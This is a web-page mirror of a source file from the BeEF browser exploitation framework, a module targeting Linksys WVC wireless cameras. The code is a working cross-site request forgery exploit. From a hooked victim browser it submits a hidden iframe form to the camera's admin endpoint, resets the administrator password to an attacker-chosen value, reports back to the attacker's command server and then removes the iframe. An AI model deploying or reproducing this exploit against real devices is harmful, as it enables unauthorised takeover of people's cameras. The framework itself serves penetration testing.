Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var gateway = '<%= @base %>';
9
var path = 'adm/file.cgi';
10
var passwd = '<%= @password %>';
11
12
var linksys_wvc_iframe = beef.dom.createIframeXsrfForm(gateway + path, "POST", "application/x-www-form-urlencoded",
13
[{'type':'hidden', 'name':'adm', 'value':'admin'},
14
{'type':'hidden', 'name':'admpw', 'value':passwd},
15
{'type':'hidden', 'name':'admpwv', 'value':passwd},
16
{'type':'hidden', 'name':'language', 'value':'1'},
17
{'type':'hidden', 'name':'h_usernamelist', 'value':''},
18
{'type':'hidden', 'name':'h_language', 'value':'1'},
19
{'type':'hidden', 'name':'h_lang_from_mac','value':''},
20
{'type':'hidden', 'name':'this_file', 'value':'pass_wd.htm'},
21
{'type':'hidden', 'name':'next_file', 'value':'pass_wd.htm'},
22
{'type':'hidden', 'name':'todo', 'value':'save'},
23
{'type':'hidden', 'name':'video_file', 'value':''},
24
{'type':'hidden', 'name':'', 'value':'Submit form'}
25
]);
26
27
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
28
29
cleanup = function() {
30
document.body.removeChild(linksys_wvc_iframe);
31
}
32
setTimeout("cleanup()", 15000);
33
34
});
35
36
37